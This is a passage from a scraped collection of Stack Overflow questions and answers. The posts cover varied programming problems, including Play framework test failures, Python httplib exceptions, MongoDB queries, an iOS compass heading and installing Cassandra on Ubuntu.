com.venky.gcmexample.ProcessIntent 03-27 13:24:59.463: E/AndroidRuntime(20132): at java.lang.Class.newInstanceImpl(Native Method) 03-27 13:24:59.463: E/AndroidRuntime(20132): at java.lang.Class.newInstance(Class.java:1409) 03-27 13:24:59.463: E/AndroidRuntime(20132): at android.app.ActivityThread.handleCreateService(ActivityThread.java:2284) 03-27 13:24:59.463: E/AndroidRuntime(20132): ... 10 more </code></pre> <p>The error goes away when I comment out the line</p> <blockquote> <p>intent.setClassName(context, ProcessIntent.class.getName());</p> </blockquote> <p>But the application the doesnot show the registration ID toast from the onHandleIntent() method.</p>
20134620	0	 <p>The <a href="https://github.com/ServiceStack/ServiceStack/tree/master/tests/ServiceStack.AuthWeb.Tests" rel="nofollow">ServiceStack.AuthWeb.Tests</a> is an ASP.NET WebHost showing <a href="https://github.com/ServiceStack/ServiceStack/blob/master/tests/ServiceStack.AuthWeb.Tests/AppHost.cs#L78" rel="nofollow">all the ServiceStack AuthProviders</a> working within a single app. </p> <p>Note the <strong>OAuth2</strong> providers use additional configuration specified in the <a href="https://github.com/ServiceStack/ServiceStack/blob/master/tests/ServiceStack.AuthWeb.Tests/Web.config" rel="nofollow">Web.config</a> which requires that you register your own application to get your Consumer Key and Secret for your app. For testing purposes you can use the ServiceStack Test keys already embedded in the Web.config. </p> <p>The <a href="https://github.com/ServiceStack/ServiceStack/wiki/Authentication-and-authorization#oauth-configuration" rel="nofollow">OAuth2 section in the Authentication wiki</a> provides the urls where you can register your application for each provider.</p>
27138430	0	 <p>it is possible, however keep in mind that the user will have to have "Allow installation of non-Market-applications/unknown sources" enabled in their settings.</p>
29472625	0	 <p>Do you see this behavior when you start Emacs without your init file (<code>emacs -Q</code>)? I doubt it. If not, then recursively bisect your init file to find out what is causing the problem.</p> <p>The minibuffer uses its own keymaps, which are local and which therefore take precedence over global keymap bindings.</p> <p>However, any minor-mode keymaps take precedence over local keymaps. So if, for example, you have a (global) minor mode turned on that binds <code>&lt;tab&gt;</code> then that will override any binding for that key in the minibuffer keymaps.</p> <p>Another thing you can do is simply bind whatever command you want to <code>&lt;tab&gt;</code> in the minibuffer keymaps. But again, you should not need to do that, if you want the usual <code>&lt;tab&gt;</code> behavior for the minibuffer.</p> <p>[Another possible confusion: Some things, such as Isearch, which you might think use the minibuffer do not use it. Isearch uses its own keymap, <code>isearch-mode-map</code>.]</p> <hr> <p><strong>UPDATE after your comment:</strong></p> <p>Assigning a key in the global map, as you have done, should not affect what that key does in the minibuffer, provided it has a different binding in the minibuffer keymaps. <code>TAB</code> is typically bound in all of the minibuffer completion keymaps (but not in the non-completion minibuffer keymaps).</p> <p>See the Elisp manual, nodes <a href="http://www.gnu.org/software/emacs/manual/html_node/elisp/Completion-Commands.html" rel="nofollow"><code>Completion Commands</code></a> and <a href="http://www.gnu.org/software/emacs/manual/html_node/elisp/Text-from-Minibuffer.html" rel="nofollow"><code>Text from Minibuffer</code></a> for information about the minibuffer keymaps.</p> <p>To see what the current bindings are for a keymap that is associated with a variable (such as <code>minibuffer-local-completion-map</code>), load library <a href="http://www.emacswiki.org/emacs/download/help-fns%2b.el" rel="nofollow"><strong><code>help-fns+.el</code></strong></a> and use <strong><code>C-h M-k</code></strong> followed by the keymap variable's name. (See <a href="http://www.emacswiki.org/emacs/HelpPlus" rel="nofollow"><strong>Help+</strong></a> for more information about the library.)</p> <p>If you do not want <code>TAB</code> to use your global command binding in the non-completion minibuffer maps (<code>minibuffer-local-map</code>, <code>minibuffer-local-ns-map</code>), then just bind it in those maps to whatever command you like. But for the completion maps you should not need to do anything - <code>TAB</code> should already be bound there.</p> <hr> <p>Did you try <code>emacs -Q</code>, to see if something in your init file is interfering? If not, do that first.</p>
32902977	0	play framework test connection refused <p>I have a huge problem with my play 2.4 application. Every time I try to start my application with <code>activator test</code>, I get the following error:</p> <pre><code>java.net.ConnectException: Connection refused: localhost/127.0.0.1:9000, took 0.0 sec [error] at com.ning.http.client.providers.netty.request.NettyConnectListener.onFutureFailure(NettyConnectListener.java:128) [error] at com.ning.http.client.providers.netty.request.NettyConnectListener.operationComplete(NettyConnectListener.java:140) [error] at org.jboss.netty.channel.DefaultChannelFuture.notifyListener(DefaultChannelFuture.java:409) [error] at org.jboss.netty.channel.DefaultChannelFuture.addListener(DefaultChannelFuture.java:145) [error] at com.ning.http.client.providers.netty.request.NettyRequestSender.sendRequestWithNewChannel(NettyRequestSender.java:283) [error] at com.ning.http.client.providers.netty.request.NettyRequestSender.sendRequestWithCertainForceConnect(NettyRequestSender.java:140) [error] at com.ning.http.client.providers.netty.request.NettyRequestSender.sendRequest(NettyRequestSender.java:115) [error] at com.ning.http.client.providers.netty.NettyAsyncHttpProvider.execute(NettyAsyncHttpProvider.java:87) [error] at com.ning.http.client.AsyncHttpClient.executeRequest(AsyncHttpClient.java:506) [error] at play.libs.ws.ning.NingWSRequest.execute(NingWSRequest.java:509) [error] at play.libs.ws.ning.NingWSRequest.execute(NingWSRequest.java:395) [error] at play.libs.ws.ning.NingWSRequest.post(NingWSRequest.java:322) [error] at controllers.projeckerSystem.LoginController.login(LoginController.java:28) [error] at projeckerSystem.Routes$$anonfun$routes$1$$anonfun$applyOrElse$1$$anonfun$apply$1.apply(Routes.scala:504) [error] at projeckerSystem.Routes$$anonfun$routes$1$$anonfun$applyOrElse$1$$anonfun$apply$1.apply(Routes.scala:504) [error] at play.core.routing.HandlerInvokerFactory$$anon$5.resultCall(HandlerInvoker.scala:139) [error] at play.core.routing.HandlerInvokerFactory$JavaActionInvokerFactory$$anon$14$$anon$3$$anon$1.invocation(HandlerInvoker.scala:127) [error] at play.core.j.JavaAction$$anon$1.call(JavaAction.scala:70) [error] at play.GlobalSettings$1.call(GlobalSettings.java:67) [error] at play.db.jpa.TransactionalAction.lambda$call$5(TransactionalAction.java:19) [error] at play.db.jpa.DefaultJPAApi.withTransaction(DefaultJPAApi.java:136) [error] at play.db.jpa.JPA.withTransaction(JPA.java:159) [error] at play.db.jpa.TransactionalAction.call(TransactionalAction.java:16) [error] at play.core.j.JavaAction$$anonfun$7.apply(JavaAction.scala:94) [error] at play.core.j.JavaAction$$anonfun$7.apply(JavaAction.scala:94) [error] at scala.concurrent.impl.Future$PromiseCompletingRunnable.liftedTree1$1(Future.scala:24) [error] at scala.concurrent.impl.Future$PromiseCompletingRunnable.run(Future.scala:24) [error] at play.core.j.HttpExecutionContext$$anon$2.run(HttpExecutionContext.scala:40) [error] at play.api.libs.iteratee.Execution$trampoline$.execute(Execution.scala:70) [error] at play.core.j.HttpExecutionContext.execute(HttpExecutionContext.scala:32) [error] at scala.concurrent.impl.Future$.apply(Future.scala:31) [error] at scala.concurrent.Future$.apply(Future.scala:492) [error] at play.core.j.JavaAction.apply(JavaAction.scala:94) [error] at play.api.mvc.Action$$anonfun$apply$1$$anonfun$apply$4$$anonfun$apply$5.apply(Action.scala:105) [error] at play.api.mvc.Action$$anonfun$apply$1$$anonfun$apply$4$$anonfun$apply$5.apply(Action.scala:105) [error] at play.utils.Threads$.withContextClassLoader(Threads.scala:21) [error] at play.api.mvc.Action$$anonfun$apply$1$$anonfun$apply$4.apply(Action.scala:104) [error] at play.api.mvc.Action$$anonfun$apply$1$$anonfun$apply$4.apply(Action.scala:103) [error] at scala.Option.map(Option.scala:146) [error] at play.api.mvc.Action$$anonfun$apply$1.apply(Action.scala:103) [error] at play.api.mvc.Action$$anonfun$apply$1.apply(Action.scala:96) [error] at play.api.libs.iteratee.Iteratee$$anonfun$mapM$1.apply(Iteratee.scala:524) [error] at play.api.libs.iteratee.Iteratee$$anonfun$mapM$1.apply(Iteratee.scala:524) [error] at play.api.libs.iteratee.Iteratee$$anonfun$flatMapM$1.apply(Iteratee.scala:560) [error] at play.api.libs.iteratee.Iteratee$$anonfun$flatMapM$1.apply(Iteratee.scala:560) [error] at play.api.libs.iteratee.Iteratee$$anonfun$flatMap$1$$anonfun$apply$14.apply(Iteratee.scala:537) [error] at play.api.libs.iteratee.Iteratee$$anonfun$flatMap$1$$anonfun$apply$14.apply(Iteratee.scala:537) [error] at scala.concurrent.impl.Future$PromiseCompletingRunnable.liftedTree1$1(Future.scala:24) [error] at scala.concurrent.impl.Future$PromiseCompletingRunnable.run(Future.scala:24) [error] at akka.dispatch.TaskInvocation.run(AbstractDispatcher.scala:40) [error] at akka.dispatch.ForkJoinExecutorConfigurator$AkkaForkJoinTask.exec(AbstractDispatcher.scala:397) [error] at scala.concurrent.forkjoin.ForkJoinTask.doExec(ForkJoinTask.java:260) [error] at scala.concurrent.forkjoin.ForkJoinPool$WorkQueue.runTask(ForkJoinPool.java:1339) [error] at scala.concurrent.forkjoin.ForkJoinPool.runWorker(ForkJoinPool.java:1979) [error] at scala.concurrent.forkjoin.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:107) [error] Caused by: java.net.ConnectException: Connection refused: localhost/127.0.0.1:9000 [error] at sun.nio.ch.SocketChannelImpl.checkConnect(Native Method) [error] at sun.nio.ch.SocketChannelImpl.finishConnect(SocketChannelImpl.java:717) [error] at org.jboss.netty.channel.socket.nio.NioClientBoss.connect(NioClientBoss.java:152) [error] at org.jboss.netty.channel.socket.nio.NioClientBoss.processSelectedKeys(NioClientBoss.java:105) [error] at org.jboss.netty.channel.socket.nio.NioClientBoss.process(NioClientBoss.java:79) [error] at org.jboss.netty.channel.socket.nio.AbstractNioSelector.run(AbstractNioSelector.java:337) [error] at org.jboss.netty.channel.socket.nio.NioClientBoss.run(NioClientBoss.java:42) [error] at org.jboss.netty.util.ThreadRenamingRunnable.run(ThreadRenamingRunnable.java:108) [error] at org.jboss.netty.util.internal.DeadLockProofWorker$1.run(DeadLockProofWorker.java:42) [error] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [error] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [error] at java.lang.Thread.run(Thread.java:745) </code></pre> <p>When I start a second application with <code>activator run</code> and execute the test again, there is no problem and the test runs through successfully. I suspect that there is something wrong with the configuration, but I can't find the problem. Can anybody help?</p> <p>Edit: Here is some of my code.</p> <pre><code>@Test public void test(){ RequestBuilder requestBuilder = new RequestBuilder() .method(Helpers.POST) .uri("..."); Result result = Helpers.route(request); assertEquals(OK, result.status()); } </code></pre> <p>I start the FakeApplication globally within the <code>BeforeClass</code> method.</p> <pre><code>@BeforeClass public static void startApp(){ app = Helpers.fakeApplication(); Helpers.start(app); } </code></pre>
13954594	0	building website using webservice and SOAP in ASP.NET <p>I am new in web application. I don't know much about web services and SOAP. I am studying. Trying to understand what they are? </p> <p>in parallel i wanted to make a simple demonstration using web service and SOAP protocol. I have a form(default.aspx) in my localhost. Here is the picture: </p> <p><img src="https://i.stack.imgur.com/QyfOR.png" alt="enter image description here"></p> <p>on clicking submit button, data will be passed to another page say, "welcome.aspx". I think this process can be done through a web service and following SOAP protocol. </p> <p>I know, this can be done using nothing and following nothing, but to get a simple concept, i want the simplest practical example to be done. </p> <p>any direction will be great, no code may be needed. Just let me know, at this point, how should i use web services and SOAP.</p>
11266783	0	recv() with MSG_PEEK shows full message but returns 'would block' normally <p>I have a non-blocking winsock socket that is <code>recv</code>'ing data in a loop.</p> <p>I noticed that when connecting with, say, putty and a raw socket, sending messages works just fine. However, when interfacing with this particular client, the packets seem to not be triggering a successful, non-<code>MSG_PEEK</code> call to <code>recv</code>. I recall having a similar issue a few years back and it ended up having to end the packets in <code>\r</code> or something coming from the <em>client</em>, which isn't possible in this case since I cannot modify the client.</p> <p>Wireshark shows the packets coming through just fine; my server program, however, isn't working quite right.</p> <p>How would I fix this?</p> <p><strong>EDIT:</strong> Turning the buffer size down to, say, 8 resulted in a few <em>successful</em> calls to recv without MSG_PEEK.</p> <p>Recv call:</p> <pre><code>iLen = recv(group-&gt;clpClients[cell]-&gt;_sock, // I normally call without MSG_PEEK group-&gt;clpClients[cell]-&gt;_cBuff, CAPS_CLIENT_BUFFER_SIZE, MSG_PEEK); if(iLen != SOCKET_ERROR) { ... </code></pre> <p>Socket is <code>AF_INET</code>, <code>SOCK_STREAM</code> and <code>IPPROTO_TCP</code>.</p>
11302941	0	 <pre><code>$('a:contains("Link 1"), a:contains("Link 3")', '.navBox').on('click', function(e){ e.preventDefault(); $('.lowerContainer').slideToggle(); });​ </code></pre>
22493819	0	 <p>This is a job for <code>merge</code>:</p> <pre><code>KEYS &lt;- data.frame(A = AList, B = BList) merge(DATA, KEYS) # A B Value # 1 1 6 9 # 2 3 8 2 </code></pre> <hr> <p><strong>Edit</strong>: after the OP expressed his preference for a logical vector in the comments below, I would suggest one of the following.</p> <p>Use <code>merge</code>:</p> <pre><code>df.in.df &lt;- function(x, y) { common.names &lt;- intersect(names(x), names(y)) idx &lt;- seq_len(nrow(x)) x &lt;- x[common.names] y &lt;- y[common.names] x &lt;- transform(x, .row.idx = idx) idx %in% merge(x, y)$.row.idx } </code></pre> <p>or <code>interaction</code>:</p> <pre><code>df.in.df &lt;- function(x, y) { common.names &lt;- intersect(names(x), names(y)) interaction(x[common.names]) %in% interaction(y[common.names]) } </code></pre> <p>In both cases:</p> <pre><code>df.in.df(DATA, KEYS) # [1] TRUE FALSE TRUE FALSE FALSE FALSE </code></pre>
5215462	0	 <p>It seems that you want the column value to match the start of your pattern:</p> <pre><code>SELECT * FROM my_table WHERE 'example.com' LIKE CONCAT(my_table.my_column, '%'); </code></pre> <p>The downside of this is that it isn't going to use any indexes on my_column.</p>
13128464	0	 <p>I suspect the problem you're having is related to this issue: <a href="http://stackoverflow.com/questions/8025082/facebook-authentication-in-a-uiwebview-does-not-redirect-back-to-original-page-o">Facebook authentication in a UIWebView does not redirect back to original page on my site asking for auth</a></p> <p>Specifically, the standard Facebook web login process launches a new browser window dialog, and dispatches a message back to the opener to indicate login success for the redirect to occur.</p> <p>Quoting a passage in the linked SO, "UIWebView doesn't support multiple windows so it can't postMessage back to your original page since it's no longer loaded."</p>
26736346	0	 <p>Body = e.Value.AlternateViews.GetHtmlView().Body, </p>
38640147	0	 <p>try</p> <pre><code>where cast(tbRegistrant.DateEntered as date) &gt;= cast('20150701' as date) and CAST(tbRegistrant.DateEntered) &lt;= cast('20160630' as date) </code></pre>
2413408	0	WebOrb - Serializing an object as a string <p>We have an Adobe Flex client talking to a .NET server using WebORB. Simplifying things, on the .NET side of things we have a struct that wraps a ulong like this:</p> <pre><code>public struct MyStruct { private ulong _val; public override string ToString() { return _val.ToString("x16"); } // Parse method } </code></pre> <p>And a class:</p> <pre><code>public class MyClass { public MyStruct Info { get; set; } } </code></pre> <p>I want the Flex client to treat MyStruct as a string. So that for the following server method:</p> <pre><code>public void DoStuff(int i, MyClass b); </code></pre> <p>It can call it as (C# here as I don't know Flex)</p> <pre><code>MyClass c = new MyClass(); c.Info = "1234567890ABCDEF" DoStuff(1, c) </code></pre> <p>I've tried playing with custom WebORB serializers, but the documentation is a bit scarce. Is this possible? If so how?</p> <p>I think I can work out how to serialize it, but not the other way. Do I need to write a Custom Serializer on the the Flex end as well? </p>
8057676	0	 <p>From the install steps you've listed it sounds like you're missing a few steps.</p> <p>Definitely revisit the <a href="http://docs.haystacksearch.org/dev/tutorial.html" rel="nofollow">Haystack setup instructions</a> with a particular eye to looking at the Create a Search Site and Creating Indexes sections.</p> <p>The long and short is you seem to be missing an indexes file. Haystack registers a bunch of stuff from your indexes when it is first included, so that explains why you're getting errors from <code>haystack.__init__</code></p> <p>Add a file called 'search_indexes.py' to your application directory. This file contains a list of the indexes you want to generate for different models. A simple example would be:</p> <pre><code>from haystack.indexes import * from haystack import site from myapp.models import MyModel class MyModelIndex(SearchIndex): text = CharField(document=True, use_template=True) def prepare(self, obj): self.prepared_data = super(MyModelIndex, self).prepare(obj) self.prepared_data['text'] = obj.my_field site.register(MyModel, MyModelIndex) </code></pre> <p>This will add a free text search field called 'text' to your index. When you search for free text without a field to search specified, haystack will search this field by default. The property <code>my_field</code> from the model <code>MyModel</code> is added to this text field and is made searchable. This could, for example, be the name of the model or some appropriate text field. The example is a little naive, but it will do for now to help you get something up and running, and you can then read up a bit and expand it.</p> <p>The call <code>site.register</code> registers this index against the model <code>MyModel</code> so haystack can discover it.</p> <p>You'll also need a file called <code>search_sites.py</code> (Name as per your settings) in your project directory to point to the index files you've just made. Adding the following will make it look through your apps and auto-discover any indexes you've registered.</p> <pre><code>import haystack haystack.autodiscover() </code></pre>
23242909	0	 <p>you have to update your html code little bit as follows to store clicked number button's value into textbox. Here, I stored that value in both textboxes. I replaced code little bit of textbox, number's button and added one javascript function instead all code is as it is. Please, give one look.</p> <p>Textboxes: </p> <pre><code>&lt;tr&gt; &lt;td width="292" align="center" height="23"&gt; &lt;input type="text" name="num1" id="num1" value="" size="10"&gt; &lt;input type="text" name="num2" id="num2" value="" size="10"&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre> <p>Buttons:</p> <pre><code>&lt;input type="button" onclick="storeNumber(this)" value="1" name="1"&gt; &lt;input type="button" onclick="storeNumber(this)" value="2" name="2"&gt; &lt;input type="button" onclick="storeNumber(this)" value="3" name="3"&gt;&lt;br&gt; &lt;input type="button" onclick="storeNumber(this)" value="4" name="4"&gt; &lt;input type="button" onclick="storeNumber(this)" value="5" name="5"&gt; &lt;input type="button" onclick="storeNumber(this)" value="6" name="6"&gt;&lt;br&gt; &lt;input type="button" onclick="storeNumber(this)" value="7" name="7"&gt; &lt;input type="button" onclick="storeNumber(this)" value="8" name="8"&gt; &lt;input type="button" onclick="storeNumber(this)" value="9" name="9"&gt; &lt;input type="button" onclick="storeNumber(this)" value="0" name="0"&gt; </code></pre> <p>Call Javascript function in head tag </p> <pre><code>&lt;script language='javascript'&gt; function storeNumber( obj ) { var previousVal = document.getElementById("num1").value; previousVal = previousVal + obj.value; document.getElementById("num1").value = previousVal; document.getElementById("num2").value = previousVal; } &lt;/script&gt; </code></pre> <p>Thanks.</p>
30335543	0	Catching multiple exceptions - Python <p>I have a program that occasionally throws a badStatusLine exception, after catching it we are now getting another error and I can't seem to catch it so the program doesn't stop. Here is what I have, any help would be appreciated.</p> <p>The error:</p> <pre><code>Exception in thread Thread-1: Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 810, in __bootstrap_inner self.run() File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/threading.py", line 763, in run self.__target(*self.__args, **self.__kwargs) File "/Users/mattduhon/trading4.py", line 30, in trade execution.execute_order(event) File "/Users/mattduhon/execution.py", line 33, in execute_order params, headers File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1001, in request self._send_request(method, url, body, headers) File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 1029, in _send_request self.putrequest(method, url, **skips) File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/httplib.py", line 892, in putrequest raise CannotSendRequest() CannotSendRequest </code></pre> <p>The file responsible for catching the error:</p> <pre><code>import httplib import urllib from httplib import BadStatusLine from httplib import CannotSendRequest class Execution(object): def __init__(self, domain, access_token, account_id): self.domain = domain self.access_token = access_token self.account_id = account_id self.conn = self.obtain_connection() def obtain_connection(self): return httplib.HTTPSConnection(self.domain) def execute_order(self, event): headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Bearer " + self.access_token} params = urllib.urlencode({ "instrument" : event.instrument, "units" : event.units, "type" : event.order_type, "side" : event.side, "stopLoss" : event.stopLoss, "takeProfit" : event.takeProfit }) self.conn.request( "POST", "/v1/accounts/%s/orders" % str(self.account_id), params, headers) try: response = self.conn.getresponse().read() except BadStatusLine as e: print(e) except CannotSendRequest as a: ######my attempt at catching the error print(a) else: print response </code></pre>
17908875	0	 <p>It is very unlikely that the compiler will generate something different from the other. Nearly all modern processors have a <code>greater or equal</code> or <code>less or equal</code> comparison/branch operation, so there should be no reason to make a more complex comparison. </p> <p>The statement</p> <pre><code> if(x == y) if (x &lt; y) break; </code></pre> <p>doesn't make any sense. Either <code>x == y</code> is true, in which case <code>x &lt; y</code> is not true. Or <code>x == y</code> is false, and you don't enter the second if at all. </p> <p>Obviously, if <code>x</code> and <code>y</code> are a class, then the <code>operator&lt;=</code> may be written as:</p> <pre><code>operator&lt;=(const A&amp; x, const A&amp; y) { if (x == y) return true; return x &lt; y; } </code></pre> <p>But that would be rather daft, since it can just as well be written as :</p> <pre><code>operator&lt;=(const A&amp; x, const A&amp; y) { return !(x &gt; y); } </code></pre>
6838902	0	Problem deserializing JSON into KeyValuePair using JSON.NET <p>This is part of a larger problem I am working on. However, I have attempted to break it down to the simplest form possible.</p> <p>I am using JSON.Net, and trying to deserialize several JSON objects into KeyValuePair, but I cannot get even a simple example test to work.</p> <pre><code>var pair = JsonConvert.DeserializeObject&lt;KeyValuePair&lt;string, string&gt;&gt;(@"""the key"": ""the value"""); </code></pre> <p>This throws a JsonReaderException -- <strong>After parsing a value an unexpected character was encountered: :. Line 1, position 10.</strong></p> <p>It seems to choke on the colon character, which I find rather odd. I've used JSON.Net several times before, and never have run into anything like this.</p>
65287	0	 <p>Not sure about .doc support in any open source library but ImageMagick (and the RMagick gem) can be compiled with pdf support (I think it's on by default)</p>
40060346	0	 <p>The combination of <code>kAudioDevicePropertyNominalSampleRate</code> and <code>kAudioObjectPropertyScopeGlobal</code> will get the callback to work correctly. The documentation of this selector (CoreAudio/AudioHardware.h) doesn't tell me what scope to use, though. If anyone finds a source of proof/reason for this, feel free to edit.</p> <p><em>The situation is also confusing because calling <code>AudioObjectSetPropertyData()</code> with <code>kAudioDevicePropertyNominalSampleRate</code> and either <code>kAudioObjectPropertyScopeInput</code> or <code>kAudioObjectPropertyScopeOutput</code> will <strong>also</strong> result in a successful sample rate switch (one could argue this to be erroneous behaviour).</em></p>
22748000	0	Mongodb 2.6.0-rc2 and PHP 1.4.5 - find _id $in <p>A simple query like this:</p> <pre><code>$a = array('_id' =&gt; array( '$in' =&gt; array_values($ids) ) ); var_dump($a); $cursor2 = $data-&gt;find( $a ); </code></pre> <p>works in mongodb 2.4.9, however, in 2.6.0-rc2 returns this:</p> <pre><code>Type: MongoCursorException Code: 17287 Message: Can't canonicalize query: BadValue $in needs an array </code></pre> <p>The output from var_dump:</p> <pre><code>array(1) { ["_id"]=&gt; array(1) { ["$in"]=&gt; array(10) { [0]=&gt; object(MongoId)#57 (1) { ["$id"]=&gt; string(24) "52214d60012f8aab278eacb6" } [1]=&gt; object(MongoId)#58 (1) { ["$id"]=&gt; string(24) "52214d60012f8aab278eaca8" } [2]=&gt; object(MongoId)#59 (1) { ["$id"]=&gt; string(24) "52214d60012f8aab278eaca7" } } } } </code></pre> <p>I wonder if this is a Mongo or PHP related?</p> <p>THanks!</p>
20604200	0	Well Is this facebook app following all the rules(TOS)? <p>Well I found this app (just a demo app for sale) <a href="http://apps.facebook.com/horoscope-demo/" rel="nofollow">http://apps.facebook.com/horoscope-demo/</a></p> <p>But before buying I am confused with: This app</p> <p>Asks to post on wall at first use</p> <p>Shows advertisement dialog at app entry </p> <p>Shows send request dialog at entry</p> <p>and also has auto daily post on the user's wall (after permission)</p> <p>Is there any violations of facebook tos? There were some rules not to show dialog, send request dialog as far as I remember. plus is auto wall posting(even after approval) still possible or allowed by facebook? I didn't test the daily auto post but can it still do it?</p> <p>Thanks for replies Fb app developers. As fb developer these questions are pretty useful.</p>
11592050	0	How to write a query with mysql where I could have some value compaired to multiple values with subquery <p>I've been coding all night so if this question makes no sense I apologize. It's been a while since I've had to write out a query but I thought there was a way where I could do something like...</p> <pre><code>(SELECT COUNT(*) FROM call WHERE upload_id = (SELECT uploadId FROM userUploads where user_id = us.id) and callDate BETWEEN DATE_SUB(now(),INTERVAL 1 WEEK) AND now() AND click = 1) AS weeklyCalls, </code></pre> <p>My question is how would I check the upload_id to multiple ids within the same query. I feel like I should be able to compare it to the sub query running.</p> <p>Everything I'm referring to in the example query is taking place on the second line.</p>
5092845	0	Point to location using compass <p>I am trying to develop a compass for an appliation which has a set of annotations on a map. I would like to be able to choose an annotation and then have the compass point the user to the chosen location.</p> <p>I have calculated the degress from the user's location to the location of the annotation and I have the magnetic heading and the true heading of the iPhone. Also I know how to rotate an image. But I can't figure out what the next step is.</p> <p>The degrees between the user's location and the annotation location is calculated like this:</p> <pre><code> // get user location locationManager = [[CLLocationManager alloc] init]; locationManager.delegate = self; locationManager.desiredAccuracy = kCLLocationAccuracyBest; locationManager.distanceFilter = kCLDistanceFilterNone; [locationManager startUpdatingLocation]; [locationManager startUpdatingHeading]; CLLocation *location = [locationManager location]; CLLocationCoordinate2D coordinate = [location coordinate]; float x1 = coordinate.latitude; float y1 = coordinate.longitude; float x2 = [annLatitude floatValue]; float y2 = [annLongitude floatValue]; float dx = (x2 - x1); float dy = (y2 - y1); if (dx == 0) { if (dy &gt; 0) { result = 90; } else { result = 270; } } else { result = (atan(dy/dx)) * 180 / M_PI; } if (dx &lt; 0) { result = result + 180; } if (result &lt; 0) { result = result + 360; } </code></pre> <p>The true and the magnetic heading is retrieved like this:</p> <pre><code>- (void)locationManager:(CLLocationManager *)manager didUpdateHeading:(CLHeading *)newHeading { arrow.transform = CGAffineTransformMakeRotation(newHeading.magneticHeading); // NSLog(@"magnetic heading: %f", newHeading.magneticHeading); // NSLog(@"true heading: %f", newHeading.trueHeading); } </code></pre> <p>Can anyone tell me what I should do now to make the arrow point to the location - even if the iPhone is rotated?</p>
9565503	0	 <p>This might work for you:</p> <pre><code>v1="a b c" v2="1 2 3" v3="x y z" parallel --xapply echo {1}{2}{3} ::: $v1 ::: $v2 ::: $v3 a1x b2y c3z </code></pre>
32746238	0	 <p>Add to your <code>if</code> validation condition to not validate if a new step is the back one, like this:</p> <pre><code>if (event.getOldStep().contains("part") &amp;&amp; !event.getNewStep().equals("model")) { ... } </code></pre> <p>or for the first if</p> <pre><code>if (event.getNewStep().contains("model") { return event.getNewStep(); } </code></pre>
11610856	0	Ubuntu 12.04 and cassandra install - +HeapDumpOnOutOfMemoryError -Xss128k <p>I am following the instructions for installing cassandra at <a href="http://www.datastax.com/docs/1.1/install/install_deb">Install Cassandra</a></p> <p>When I installed, I get the below. How to I fix?</p> <pre><code>service cassandra start xss = -ea -XX:+UseThreadPriorities -XX:ThreadPriorityPolicy=42 -Xms1001M -Xmx1001M -Xmn100M -XX:+HeapDumpOnOutOfMemoryError -Xss128k root@i-157-16647-VM:~# service cassandra status xss = -ea -XX:+UseThreadPriorities -XX:ThreadPriorityPolicy=42 -Xms1001M -Xmx1001M -Xmn100M -XX:+HeapDumpOnOutOfMemoryError -Xss128k * Cassandra is not running </code></pre> <p>I am running on a machine with 2 gigs of RAM. Here is how I install on a bare bones VM.</p> <pre><code>sudo vi /etc/apt/sources.list #add sources.list deb http://debian.datastax.com/community stable main deb http://us.archive.ubuntu.com/ubuntu/ precise main contrib non-free curl -L http://debian.datastax.com/debian/repo_key | sudo apt-key add - sudo apt-get update sudo apt-get install python-cql dsc1.1 root@i-157-16647-VM:~# java -version java version "1.6.0_24" OpenJDK Runtime Environment (IcedTea6 1.11.3) (6b24-1.11.3-1ubuntu0.12.04.1) OpenJDK 64-Bit Server VM (build 20.0-b12, mixed mode) /var/log/cassandra/output.log Error: Exception thrown by the agent : java.net.MalformedURLException: Local host name unknown: java.net.UnknownHostException: i-157-16647-VM: i-157-16647-VM Service exit with a return value of 1 Error: Exception thrown by the agent : java.net.MalformedURLException: Local host name unknown: java.net.UnknownHostException: i-157-16647-VM: i-157-16647-VM Service exit with a return value of 1 </code></pre>
4779671	0	 <p>You should use a <a href="http://developer.android.com/reference/android/widget/ViewSwitcher.html" rel="nofollow"><code>ViewSwitcher</code></a> and switch the views using a gesturedetector</p>
40993051	0	how to prepare a list of posters presented at conferences, in LaTeX? <p>Does anybody know how to prepare, in LaTeX, a list of oral presentations or poster presented at conferences ? How should I add this to my *.bib file ? </p>
30425701	0	iOS Get timestamp without hours and minutes and seconds <pre><code> NSDateFormatter *dateFormat = [[NSDateFormatter alloc] init]; [dateFormat setDateFormat:@"dd/MM/yyyy"]; NSString *theDate = [dateFormat stringFromDate:date]; time_t unixTime = (time_t) [date timeIntervalSince1970]; </code></pre> <p>i need unixTime without hours, minutes and seconds</p>
9373944	0	 <p>I've had some luck with this, even if it doesn't completely work.</p> <h2>The spinner adapter's get view :</h2> <pre><code>public View getView(int position, View v, ViewGroup parent) { if (v == null) { LayoutInflater mLayoutInflater = mActivity.getLayoutInflater(); v = mLayoutInflater.inflate(R.layout.user_row, null); } View tempParent = (View) parent.getParent().getParent().getParent(); tempParent.setOnTouchListener(new MyOnTouchListener(mActivity)); mActivity.setOpen(true); User getUser = mUsers.get(position); return v; } </code></pre> <h2>The ontouch listener :</h2> <pre><code>public class MyOnTouchListener implements OnTouchListener{ private MyActivity mOverall; public MyTouchListener(MyActivity overall) { mOverall = overall; } public boolean onTouch(View v, MotionEvent event) { if (mOverall.getOpen()) { mOverall.getWindow().setContentView(R.layout.main); //reset your activity screen mOverall.initMainLayout(); //reset any code. most likely what's in your oncreate } return false; } } </code></pre> <h2>The on item selected listener :</h2> <pre><code>public class MySelectedListener implements OnItemSelectedListener { public void onItemSelected(AdapterView&lt;?&gt; parent, View view, int pos, long id) { setUser(pos); //or whatever you want to do when the item is selected setOpen(false); } public void onNothingSelected(AdapterView&lt;?&gt; parent) {} } </code></pre> <h2>The activity</h2> <p>Your activity with the spinner should have a global variable mOpen with get and set methods. This is because the ontouch listener tends to stay on even after the list is closed.</p> <h2>The limitations of this method:</h2> <p>It closes if you touch between the spinner and the options or to the side of the options. Touching above the spinner and below the options still won't close it.</p>
